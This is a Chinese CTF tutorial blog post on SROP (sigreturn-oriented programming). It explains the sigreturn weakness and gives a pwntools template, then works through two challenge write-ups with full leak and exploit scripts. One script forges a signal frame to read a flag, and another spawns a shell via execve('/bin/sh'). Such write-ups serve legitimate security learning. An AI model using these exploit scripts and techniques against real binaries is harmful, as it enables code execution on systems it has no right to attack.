SROP
参考书籍:《CTF权威指南(PWN篇)》
ROP与SROP区别
ROP是通过简单的栈溢出,覆盖返回地址并执行gadgets控制执行流;不同的是,SROP使用能
够调用sigreturn的gadget覆盖返回地址,并将伪造一个sigcontext结构体放到栈中
SROP 原理
先讲一下Linux系统调用:
-
64位与32位系统调用表分别位于/usr/include/asm/unistd_64.h和/usr/include/asm/united_32.h,另外还需要查看/usr/include/bits/syscall.h
-
在早期的linux中,使用int 0x80中断进入系统调用,但是这样会进行用户级别检查、压栈和跳转等操作,十分浪费资源
-
后来,出现了sysenter/sysexit两种新的系统调用方式,前者用于从Ring3进入Ring0,后者相反;优点是执行速度快
signal机制:
当某个进程发生中断时,内核会向该进程发送一个signal信号,此时的进程会被暂停(挂起),并且程序进入内核态,然后内核会保存进程的上下文信息(注:例如保存所有!的寄存器的值,这是为了在执行完内核后,能够准确的回到该进程之前的状态),再跳转到之前注册好的signal handler中进行处理,执行完signal handler后,内核会执
行sigreturn系统调用恢复之前保存的上下文
下面张图展示了整个过程(图来自合天网安)
下面是执行完signal handler后时的栈顶:
弱点
程序在执行sigreturn系统调用时,不会检查栈顶,他就不知道栈上的值还是不是之前保存的
值,所以这就给了我们攻击的机会。伪造栈顶寄存器的值,执行execve("/bin/sh",0,0),
攻击条件
需要注意的是,我们在构造 ROP 攻击的时候,需要满足下面的条件
- 可以通过栈溢出来控制栈的内容
- 需要知道相应的地址
- "/bin/sh"
- Signal Frame
- syscall
- sigreturn
- 需要有够大的空间来塞下整个 sigal frame
pwntools已经帮我们集成好了攻击模块,记住模板就行
## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
例题1(Backdoor CTF :2017 fun signals):
题目地址:Akash Trehan · BackdoorCTF 2017 - Fun Signals
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x10000000)
Stack: Executable
RWX: Has RWX segments
打开IDA后,看到旁边居然没有函数列表(震惊),不能反汇编,只能看汇编代码
可以看到,在_start函数中有两个syscall。第一个是read(0,$rsp,0x400),第二个就是sigreturn()(系统调用号为0xf)(注意,因为本题是64位,所以这个是64位程
序中系统调号,32位可能不一样)
flag其实就在二进制文件中,读取他需要执行write(1,&flag,50),系统调用号为0x1,而函数syscall()正好为我们提供了syscall指令
脚本如下:
from pwn import *
elf = ELF("./pwn")
io = process("./pwn")
context.clear()
context.arch = "amd64"
# 利用pwntools工具构造假的栈帧,因为sigreturn不会检查
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.sym["flag"]
frame.rdx = 50
frame.rip = elf.sym["syscall"]
io.sendline(bytes(frame))
io.interactive()
例题2
首先说一下个人的问题:在我自己的机子上调试出来的binsh地址与远程上差距0x10,导致远
程打不通,可是本地能打通
这个后来问题解决了:原因是我本地的环境是ubuntu20,但是题目要求的环境是Ubuntu18,导致栈的布局不同,使用patchelf打上补丁后就可以将本地环境和远程环境同步了
对于打补丁,这是pwn经常使用的操作,这里推荐一个小工具https://github.com/ZIKH26/patchup
思考流程
先看一下漏洞函数:vuln存在栈溢出漏洞
╰─➤ checksec pwn
[*] '/ctf/work/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位程序,没有NX保护,我们肯定首先想到ret2libc那一套,所以我们需要去找一些控制寄存
器的gadgets:
很遗憾没有控制rbx的gadgets,所以就不能使用execve("/bin/sh",0,0)
思考,那能不能使用system呢?
同样遗憾,文件没有puts或者write的plt,导致我们不能泄露出got表,所以不能使用system
此时我们可以想到万金油寄存器控制段csu:在这里我们就能控制rbx了,这是解题的一种办法,但是这里我不涉及,想了解的师傅可以参考以下文章:BUUCTF Ret2Csu ciscn_s_3_byyctf ret2csu-CSDN博客
我想讲的是SROP方法,这比上一种方法更简单
流程
就像上面讲的一样,做SROP我们需要知道/bin/sh
地址,所以这里就需要站泄露,把我们
自己输入的在栈上的/bin/sh
地址泄露出来。
下面是泄露过程:
泄露脚本:
from pwn import *
from pwn import p64,u64,p32,u32
import time # 在发送数据前最好sleep一下,避免卡住
context(log_level="debug",os="linux",arch="amd64",terminal=["tmux","sp","-h"])
# io=remote("node5.buuoj.cn",25863)
io=process("./pwn")
elf=ELF("./pwn")
gscript = '''
b * 0x400501 # 断点位置
c
'''
def s(a) :
sleep(0.5)
io.send(a)
def sa(a, b) :
sleep(0.5)
io.sendafter(a, b)
def sl(a) :
sleep(0.5)
io.sendline(a)
def sla(a, b) :
sleep(0.5)
io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def rl(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io,gdbscript=gscript)
vuln = elf.sym["vuln"]
offset = 0x10
syscall = 0x400517 # syscall进行系统调用
sigreturn = 0x4004DA
# 解释一下这里为什么是0x10,而不需要+8覆盖rbp,因为vuln函数返回是直接ret,而没有leave,所# 以程序是直接把rbp当做是返回地址,故不用+8
payload = b"/bin/sh\x00"
payload = payload.ljust(0x10,b"a")
payload += p64(vuln)
debug()
pause()
sl(payload)
pause()
io.recv(0x20)
binsh = u64(io.recv(8)) - 0x128 # 本人调试就是0x128偏移,见下面的调试过程,打上补丁后就是0x118了
print("binsh addr is %s" %hex(binsh))
pause()
发送payload后:$rsp-0x10位置就是/bin/sh
,后面接着是aaaa...,此时rsp和rbp在同一个位置,该位置保存着vuln地址,让我们可以再次返回到vuln进行输入后序攻击payload
调用write函数打印:从 ① 开始打印 ② 0x30个字节,会把 ③ 中的值 ④打印出来,需要注
意的是 ④也是一个栈上的地址,他保存程序文件的名字,也就是argv[0],通过它可以计算出
他与所有栈上信息的偏移,
io.recv(0x20)
所以我们需要先接受0x20字节,然后的8字节就是④,此时的/bin/sh
在①处,所以计算偏
移为:0x128(打上补丁后就是0x118了)
攻击
脚本:攻击本地
from pwn import *
from pwn import p64,u64,p32,u32
import time # 在发送数据前最好sleep一下,避免卡住
context(log_level="debug",os="linux",arch="amd64",terminal=["tmux","sp","-h"])
# io=remote("node5.buuoj.cn",25863)
io=process("./pwn")
elf=ELF("./pwn")
gscript = '''
b * 0x400501 # 断点位置
c
'''
def s(a) :
sleep(0.5)
io.send(a)
def sa(a, b) :
sleep(0.5)
io.sendafter(a, b)
def sl(a) :
sleep(0.5)
io.sendline(a)
def sla(a, b) :
sleep(0.5)
io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def rl(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io,gdbscript=gscript)
vuln = elf.sym["vuln"]
offset = 0x10
syscall = 0x400517 # syscall进行系统调用
sigreturn = 0x4004DA
# 解释一下这里为什么是0x10,而不需要+8覆盖rbp,因为vuln函数返回是直接ret,而没有leave,所# 以程序是直接把rbp当做是返回地址,故不用+8
payload = b"/bin/sh\x00"
payload = payload.ljust(0x10,b"a")
payload += p64(vuln)
sl(payload)
io.recv(0x20)
binsh = u64(io.recv(8)) - 0x128 # 打上补丁后就是0x118了
print("binsh addr is %s" %hex(binsh))
# SROp过程
# 构造假frame,调用execve
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b"/bin/sh\x00"
payload = payload.ljust(0x10,b"a")
payload += p64(sigreturn) + p64(syscall)
payload += bytes(frame)
sl(payload)
inter()
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
· 一次Java后端服务间歇性响应慢的问题排查记录
· dotnet 源代码生成器分析器入门
· ASP.NET Core 模型验证消息的本地化新姿势
· 从零开始开发一个 MCP Server!
· ThreeJs-16智慧城市项目(重磅以及未来发展ai)
· .NET 原生驾驭 AI 新基建实战系列(一):向量数据库的应用与畅想
· Ai满嘴顺口溜,想考研?浪费我几个小时
· Browser-use 详细介绍&使用文档